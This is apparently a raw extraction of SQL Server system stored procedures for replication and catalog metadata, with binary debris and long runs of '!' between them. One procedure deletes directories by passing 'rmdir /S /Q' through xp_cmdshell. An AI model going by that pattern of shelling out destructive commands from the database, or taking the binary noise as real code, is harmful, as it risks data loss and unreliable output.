     RAISERROR(14260,16,-1) 
     return 1
   end

    if @agent_type is null 
    BEGIN
        RAISERROR (14043, 16, -1, '@agent_type', 'sp_help_agent_profile')
        RETURN (1)
    END

    if @profile_id is null
    BEGIN
        RAISERROR (14043, 16, -1, '@profile_id', 'sp_help_agent_profile')
        RETURN (1)
    END

    if @agent_type not in (0, @snapshot_type, @logreader_type, @distribution_type, @merge_type, @qreader_type)
    BEGIN
        RAISERROR(20058, 16, -1)
        return (1)
    END

    select profile_id, profile_name, agent_type, type, description, def_profile
        from msdb.dbo.MSagent_profiles where
             (profile_id = @profile_id or @profile_id = -1) and
             (agent_type = @agent_type or @agent_type = 0)
        order by profile_id, profile_name

0,^ D8<ph,(!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@I`Z<ܘ	0{i 8CREATE VIEW sys.dm_exec_query_resource_semaphores AS
	SELECT convert(smallint, ~convert(bit, isnull(max_target_memory_kb, -1) +1)) as resource_semaphore_id,
	target_memory_kb, max_target_memory_kb, total_memory_kb, available_memory_kb, granted_memory_kb,
	used_memory_kb, grantee_count, waiter_count, timeout_error_count, forced_grant_count,
	pool_id
	FROM OpenRowset(TABLE DM_EXEC_QE_RESSEM)
!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Z<\|0@ B8create procedure sys.sp_MSinit_replication_perfmon
as
begin
    declare @return_code int,
                @agent_type int,
                @agent_name nvarchar(100),
                @status int,
                @all_but_misc_agents int

    select @all_but_misc_agents = -1

    -- drop the temp table 
    if object_id('tempdb.dbo.#tmp_replication_status') is not null
    begin
        drop table #tmp_replication_status
    end

    -- create the temp table	
    create table #tmp_replication_status
    (
        publisher sysname,
        publisher_db sysname, 
        publication sysname, 
        publication_type int,
        agent_type int, 
        status int,
        agent_id int,
        agent_name sysname,
        job_id uniqueidentifier null,
        time_stamp datetime null,
        publisher_srvid int null
    )
    
    create clustered index ctmpreplicationstatus on #tmp_replication_status (publication, publisher_db, publisher)
    create index nc1tmpreplicationstatus on #tmp_replication_status (publisher, publisher_db)
    create index nc2tmpreplicationstatus on #tmp_replication_status (agent_type)

    -- Remove all existing instances
    dbcc deleteinstance ("SQL Replication Agents", "%")
    dbcc deleteinstance ("SQL Replication Snapshot", "%")
    dbcc deleteinstance ("SQL Replication Logreader", "%")
    dbcc deleteinstance ("SQL Replication Distribution", "%")
    dbcc deleteinstance ("SQL Replication Merge", "%")
    dbcc deleteinstance ("SQL Replication Queuereader", "%")

    -- Add and initialize Perfmon SQL Replication Agents instances
    dbcc addinstance ("SQL Replication Agents", "Snapshot")
    dbcc addinstance ("SQL Replication Agents", "Logreader")
    dbcc addinstance ("SQL Replication Agents", "Distribution")
    dbcc addinstance ("SQL Replication Agents", "Merge")
    dbcc addinstance ("SQL Replication Agents", "Queuereader")
    dbcc setinstance ("SQL Replication Agents", "Running", "Snapshot", 0)
    dbcc setinstance ("SQL Replication Agents", "Running", "Logreader", 0)
    dbcc setinstance ("SQL Replication Agents", "Running", "Distribution", 0)
    dbcc setinstance ("SQL Replication Agents", "Running", "Merge", 0)
    dbcc setinstance ("SQL Replication Agents", "Running", "Queuereader", 0)

	-- load tmp replication_status table
	exec @return_code = sys.sp_MSload_tmp_replication_status @agent_type = @all_but_misc_agents
	if @@error <> 0 or @return_code <> 0
		return 1			

    -- Add instances for each agent currently in the status table
    declare hC CURSOR LOCAL FAST_FORWARD for 
    	select agent_type, 
    			agent_name, 
    			status 
    		from #tmp_replication_status for read only
    open hC
    fetch hC into @agent_type, @agent_name, @status
    while (@@fetch_status <> -1)
    begin
        if @agent_type = 1 
        begin
            dbcc addinstance ("SQL Replication Snapshot", @agent_name)
            if @status = 1 or @status = 3 or @status = 4
                dbcc incrementinstance ("SQL Replication Agents", "Running", "Snapshot", 1)
        end
        else if @agent_type = 2 
        begin
            dbcc addinstance ("SQL Replication Logreader", @agent_name)
            if @status = 1 or @status = 3 or @status = 4
                dbcc incrementinstance ("SQL Replication Agents", "Running", "Logreader", 1)
        end
        else if @agent_type = 3 
        begin
            dbcc addinstance ("SQL Replication Distribution", @agent_name)
            if @status = 1 or @status = 3 or @status = 4
                dbcc incrementinstance ("SQL Replication Agents", "Running", "Distribution", 1)
        end
        else if @agent_type = 4 
        begin
            dbcc addinstance ("SQL Replication Merge", @agent_name)
            if @status = 1 or @status = 3 or @status = 4
                dbcc incrementinstance ("SQL Replication Agents", "Running", "Merge", 1)
        end
        else if @agent_type = 9 
        begin
            dbcc addinstance ("SQL Replication Queuereader", @agent_name)
            if @status = 1 or @status = 3 or @status = 4
                dbcc incrementinstance ("SQL Replication Agents", "Running", "Queuereader", 1)
        end

        fetch hC into @agent_type, @agent_name, @status
    end
    close hC
    deallocate hC
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<#US0Q@ 
8-- Name:	
--		sp_MSdrop_peertopeer_tables
--			
-- Description: 
--		Drops peer to peer meta-data tables
--	
-- Security: 
--		NONE... the procedure is not public
--
-- Returns: 	
--		0 : success
--		1 : failure 		 
--
CREATE PROCEDURE sys.sp_MSdrop_peertopeer_tables
(
    @from_backup bit = 0
)
AS
BEGIN
	DECLARE @retcode bit

	BEGIN TRANSACTION tran_sp_MSdrop_peer_tables
	SAVE TRANSACTION tran_sp_MSdrop_peer_tables
	
	IF OBJECT_ID(N'MSpeer_lsns', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_lsns)
    	BEGIN
			if @from_backup = 0
			begin
				DROP TABLE dbo.MSpeer_lsns
				IF @@ERROR <> 0
				    GOTO UNDO

				--if we are dropping MSpeer_lsns, no need to keep p2p alerts around anymore
			    declare @alert_name nvarchar(max)
			    			,@alert_id int = 22815
				IF EXISTS
				(
					SELECT	*
					FROM	msdb.dbo.sysalerts
					WHERE	message_id = @alert_id 
				)
				BEGIN
				    select @alert_name=name from msdb.dbo.sysalerts where message_id=@alert_id
			
				    EXEC @retcode = msdb.dbo.sp_delete_alert	@name = @alert_name

				    IF (@@ERROR != 0 OR @retcode != 0)
				    BEGIN
				         goto UNDO
				    END
				END
            end
		END
    END

    IF OBJECT_ID(N'MSpeer_request', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_request)
    	BEGIN
			DROP TABLE dbo.MSpeer_request
			IF @@ERROR <> 0
				GOTO UNDO
		END
    END

    IF OBJECT_ID(N'MSpeer_response', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_response)
    	BEGIN
			DROP TABLE dbo.MSpeer_response
			IF @@ERROR <> 0
				GOTO UNDO
		END
    END

    IF OBJECT_ID(N'MSpeer_topologyrequest', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_topologyrequest)
    	BEGIN
			DROP TABLE dbo.MSpeer_topologyrequest
			IF @@ERROR <> 0
				GOTO UNDO
		END
    END

    IF OBJECT_ID(N'MSpeer_topologyresponse', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_topologyresponse)
    	BEGIN
			DROP TABLE dbo.MSpeer_topologyresponse
			IF @@ERROR <> 0
				GOTO UNDO
		END
    END

    IF OBJECT_ID(N'MSpeer_originatorid_history', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_originatorid_history)
    	BEGIN
    		if @from_backup = 0
    		begin
             		DROP TABLE dbo.MSpeer_originatorid_history
		  	IF @@ERROR <> 0
			    GOTO UNDO
	        end
	END
    END

    IF OBJECT_ID(N'MSpeer_conflictdetectionconfigresponse', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_conflictdetectionconfigresponse)
    	   and
    	   NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_conflictdetectionconfigrequest)
    	BEGIN
			DROP TABLE dbo.MSpeer_conflictdetectionconfigresponse
			IF @@ERROR <> 0
				GOTO UNDO
	END
    END
    
    IF OBJECT_ID(N'MSpeer_conflictdetectionconfigrequest', 'U') IS NOT NULL
    BEGIN
    	IF NOT EXISTS(SELECT *
    				FROM dbo.MSpeer_conflictdetectionconfigrequest)
    	BEGIN
			DROP TABLE dbo.MSpeer_conflictdetectionconfigrequest
			IF @@ERROR <> 0
				GOTO UNDO
	END
    END

	COMMIT TRANSACTION tran_sp_MSdrop_peer_tables

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tran_sp_MSdrop_peer_tables
	COMMIT TRANSACTION tran_sp_MSdrop_peer_tables
	
	RETURN 1
END
0th g8CREATE PROCEDURE sys.sp_MSrepl_setNFR
(
	@schema 		sysname,
	@object_name 	sysname
)
AS
BEGIN
	DECLARE @retcode	int,
			@fkid		int

	-- security check for subscriber
	EXEC @retcode = sys.sp_MSreplcheck_subscribe 
    IF @@ERROR <> 0 OR @retcode <> 0 
    BEGIN
        RETURN 1
    END
	
	DECLARE #hForeignKeys CURSOR LOCAL FAST_FORWARD FOR
		SELECT object_id
			FROM sys.foreign_keys
			WHERE is_not_for_replication = 0
				AND referenced_object_id = OBJECT_ID(QUOTENAME(@schema) + '.' + QUOTENAME(@object_name))
			ORDER BY object_id
			
	OPEN #hForeignKeys

	FETCH #hForeignKeys INTO @fkid

	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC %%Object(ID = @fkid).SetConstraintNotForRepl(Value = 1)
		IF @@ERROR <> 0
			RETURN 1

		FETCH #hForeignKeys INTO @fkid
	END

	CLOSE #hForeignKeys

	RETURN 0
END
0wf 
8--
-- Name: sp_MSreplremoveuncdir
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public procedure invoked via RPC. db_owner check
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSreplremoveuncdir
(
    @dir            nvarchar(260),
    @ignore_errors  bit = 0
)
as
begin
    set nocount on

    declare @retcode int
    declare @local_dir nvarchar(260)
    declare @cmd nvarchar(1000)
    declare @machinename sysname
    set @retcode = 0
    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    /* Null\Empty paths == no-op */
    if @dir is null or rtrim(@dir) = N''
        return (0)

    /* Path truncation check */
    if len(@dir) = 260
        return (0)

    /* 
    ** We have to convert UNC to drive, otherwise will get 'Access denied' error in xp_cmdshell
    */
	select @machinename = convert(sysname, SERVERPROPERTY('machinename'))
    EXEC @retcode = master.dbo.sp_MSunc_to_drive @unc_path = @dir, 
        @local_server = @machinename, @local_path = @local_dir OUTPUT
    IF @retcode <> 0 or @@ERROR <> 0 
        RETURN(1)

    /*
    ** Delete directory in the distributor's directory.
    ** On Win9x, we have to use deltree instead
    */
    declare @platform_nt int 
    select @platform_nt = 0x1
    IF (( platform() & @platform_nt = @platform_nt))
    BEGIN 
        SELECT @cmd = 'if exist "' + sys.fn_escapecmdshellsymbolsremovequotes(@local_dir) collate database_default + '" rmdir /S /Q ' + '"' + sys.fn_escapecmdshellsymbolsremovequotes(@local_dir) collate database_default + '"'
    END
    ELSE
    BEGIN
        -- Don't need if exists check on Win9x but we do need 
        -- to remove the trailing slash
        IF SUBSTRING(@local_dir, LEN(@local_dir), 1) = N'\'
        BEGIN
            SELECT @local_dir = LEFT(@local_dir, LEN(@local_dir)-1)
        END
        SELECT @cmd = 'deltree /Y ' + '"' + sys.fn_escapecmdshellsymbolsremovequotes(@local_dir) collate database_default + '"'
    END

    EXECUTE  @retcode = master.dbo.xp_cmdshell @cmd, NO_OUTPUT
    
    if @ignore_errors <> 1
    begin
        if @retcode <> 0 or @@ERROR <> 0 
	    begin
		    raiserror(20015, 16, -1, @dir)
            return(1)
	    end
    end

    return (0)
end
0nS v8CREATE PROCEDURE sys.sp_MShelp_logreader_agentid 
(
    @publisher_id       smallint,
    @publisher_db       sysname
)
AS
begin
    set nocount on
    declare @retcode int
    declare @publisher sysname
    declare @job_id binary(16)
    declare @qv_package	varchar(20)
    declare @desk_top		int
    declare @license_value int
    declare @qv_value_package int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	select @qv_package = '845129433'
	select @license_value = 0 
	select @desk_top = 3
			
	exec @qv_value_package = sys.sp_MSinstance_qv @qv_package
	if @@ERROR<>0 
		begin
			raiserror(20089, 16, -1)
			return (1)
		end
	if @qv_value_package = 1		 --- 1 means desktop
		select @license_value = @desk_top   -- to be consistent with all other compenents.

    select id, name, @license_value from MSlogreader_agents where 
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db

    return(0)
end
!!!!!!!!!!!!!!!!!!!
Zm`~<ZU.;x0l| D8h9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<U.?#3[0k 8create procedure sys.sp_MShelp_replication_status
(
    @publisher 				sysname = '%',
    @publisher_db 			sysname = '%',
    @publication 			sysname = '%',
    @agent_type 			int 	= 0,
    @exclude_anonymous 		bit 	= 0
)
as
begin
    set nocount on
    declare @return_code int,
                @return_status int,
                @return_timestamp datetime,
                @alt_return_status int,
                @alt_return_timestamp datetime,
                @cmd varchar(4000),
                @db_name sysname,
                @distbit int,
                @allow_queued_tran bit, 
                @anonymous_mask int,
                @anonymous_hide int,
                @tran_pubtype int,
                @snapshot_agent int,
                @logreader_agent int,
                @distrib_agent int,
                @merge_agent int,
                @queue_agent int
			
    select @return_code = 0, 
            @return_status = 0,
            @return_timestamp = 0,
            @alt_return_status = 0,
            @alt_return_timestamp = 0,
            @cmd = null,
            @db_name = null,
            @distbit = 16,
            @allow_queued_tran = 0,
            @anonymous_mask = 0x80000000,
            @tran_pubtype = 0,
            @snapshot_agent = 1,
            @logreader_agent = 2,
            @distrib_agent = 3,
            @merge_agent = 4,
            @queue_agent = 9

    -- Security check
    if not((is_srvrolemember('sysadmin') = 1)  or (is_member ('db_owner') = 1) or (isnull(is_member('replmonitor'), 0) = 1))
    begin
        goto Err_Handler
    end

    -- do some parameter checking

    -- @agent_type is only supported with all wildcards
    if @agent_type <> 0 and (@publisher <> '%' or @publisher_db <> '%' or @publication <> '%')
    begin
        goto Err_Handler
    end

    -- if no distribution dbs then exit	
    if not exists(select name from master.dbo.sysdatabases where category & @distbit <> 0 and has_dbaccess(name) = 1)
    begin
        goto Done
    end

    select @anonymous_hide = case when (@exclude_anonymous = 0) then 0x00000000 else @anonymous_mask end

    -- drop the temp table 
    if object_id('tempdb.dbo.#tmp_replication_status') is not null
    begin
        drop table #tmp_replication_status
    end

    -- create the temp table	
    create table #tmp_replication_status
    (
        publisher sysname,
        publisher_db sysname, 
        publication sysname, 
        publication_type int,
        agent_type int, 
        status int,
        agent_id int,
        agent_name sysname,
        job_id uniqueidentifier null,
        time_stamp datetime null,
        publisher_srvid int null
    )

    -- load tmp replication_status table
    exec @return_code = sys.sp_MSload_tmp_replication_status @agent_type = @agent_type
    if @@error <> 0 or @return_code <> 0
        goto Err_Handler
	
    -- now lets retrieve the status and timestamp to be returned
    if @publisher = '%'
    begin
        select @return_status = max(status), 
                @return_timestamp = max(time_stamp)
        from #tmp_replication_status
        where agent_type & @anonymous_hide = 0
    end
    else if @publication = '%'
    begin
        select @return_status = max(status), 
                @return_timestamp = max(time_stamp)
        from #tmp_replication_status
        where agent_type & @anonymous_hide = 0 
        and publisher = upper(@publisher)
        -- process queued agents
        select @db_name = distribution_db 
        from msdb.dbo.MSdistpublishers 
        where name = @publisher collate database_default

        select @alt_return_status = max(status), 
                @alt_return_timestamp = max(time_stamp)
        from #tmp_replication_status
        where agent_type = @queue_agent 
        and publisher = upper(@@servername) 
        and publisher_db = @db_name

        if @alt_return_status > @return_status
            select @return_status = @alt_return_status

        if @alt_return_timestamp > @return_timestamp
            select @return_timestamp = @alt_return_timestamp
    end
    else
    begin
        select @return_status = max(status), 
                @return_timestamp = max(time_stamp)
        from #tmp_replication_status
        where agent_type & @anonymous_hide = 0 
        and publisher = upper(@publisher)
        and publisher_db = @publisher_db
        and publication = @publication

        -- if this is a transactional publication then include logreader info
        if exists(select publication_type 
                    from #tmp_replication_status
                    where agent_type = @snapshot_agent 
                    and publisher = UPPER(@publisher)
                    and publisher_db = @publisher_db
                    and publication = @publication
                    and publication_type = @tran_pubtype)
        begin
            select @alt_return_status = status, 
                    @alt_return_timestamp = time_stamp
            from #tmp_replication_status
            where agent_type = @logreader_agent
                and publisher = UPPER(@publisher) 
                and publisher_db = @publisher_db 
                and publication = 'ALL'

            if @alt_return_status > @return_status
                select @return_status = @alt_return_status

            if @alt_return_timestamp > @return_timestamp
                select @return_timestamp = @alt_return_timestamp

            -- process the Queue reader entry separately and check if we need to pick them
            select @db_name = distribution_db 
            from msdb.dbo.MSdistpublishers 
            where name = @publisher collate database_default

            select @cmd = quotename(@db_name) + N'.dbo.sp_MSispublicationqueued'
            exec @return_code = @cmd
                                @publisher = @publisher,
                                @publisher_db = @publisher_db,
                                @publication = @publication,
                                @allow_queued_tran = @allow_queued_tran output
            if @return_code <> 0 and @@error <> 0
                goto Err_Handler

            if @allow_queued_tran = 1
            begin
                select @alt_return_status = max(status), 
                        @alt_return_timestamp = max(time_stamp)
                from #tmp_replication_status
                where agent_type = @queue_agent 
                    and publisher = upper(@@servername) 
                    and publisher_db = @db_name

                if @alt_return_status > @return_status
                    select @return_status = @alt_return_status

                if @alt_return_timestamp > @return_timestamp
                    select @return_timestamp = @alt_return_timestamp
            end
        end
    end
	
    -- return result set
    select 'status' = isnull(@return_status, 0), 
    'timestamp' = isnull(left(replace(replace(replace(replace(convert(varchar, @return_timestamp, 121), '-', ''), ' ', ''), ':', ''), '.', ''), 16), '0000000000000000')

Done:
    return 0

Err_Handler:

    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`]	<4*0 8
create procedure sys.sp_schemata_rowset
(
    @schema_name    sysname = null,
    @schema_owner   sysname = null
)
as
    select distinct
        CATALOG_NAME                    = db_name(),
        SCHEMA_NAME                     = s.name,
        SCHEMA_OWNER                    = s.name,
        DEFAULT_CHARACTER_SET_CATALOG   = convert(sysname,N'master'),
        DEFAULT_CHARACTER_SET_SCHEMA    = convert(sysname,N'dbo'),
        DEFAULT_CHARACTER_SET_NAME      = convert(sysname,CollationPropertyFromId(-1, 'sqlcharsetname'))

    from
        sys.schemas s inner join
        sys.all_objects o on
            (
                o.schema_id = s.schema_id and
                (@schema_name is null or schema_id(@schema_name) = o.schema_id) and
                (@schema_owner is null or schema_id(@schema_owner) = o.schema_id)
            )

    order by 2
0@ 8
-- for backward compatibility SP.
-- The following stored procedure is used only by pre-Yukon clients!!!
-- It merely returns an empty rowset. It is used when the restriction don't match anything
-- and we want to return empty rowset to the user instead of some error message...
create procedure sys.sp_schemata_rowset;3
as
    select
        CATALOG_NAME                    = convert(sysname,' '),
        SCHEMA_NAME                     = convert(sysname,' '),
        SCHEMA_OWNER                    = convert(sysname,' '),
        DEFAULT_CHARACTER_SET_CATALOG   = convert(sysname,' '),
        DEFAULT_CHARACTER_SET_SCHEMA    = convert(sysname,' '),
        DEFAULT_CHARACTER_SET_NAME      = convert(sysname,' ')
    where   1=0
0<@ 
8--
-- Name: 
--	sp_dropreplsymmetrickey
-- 
-- Description: 
--	This procedure drops the following:
--		Database symmetric key based on a password seed
--		Database level certificate with associated asymmetric public/private keys
--		Database level scoped replication symetric key used for encrypting
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On success
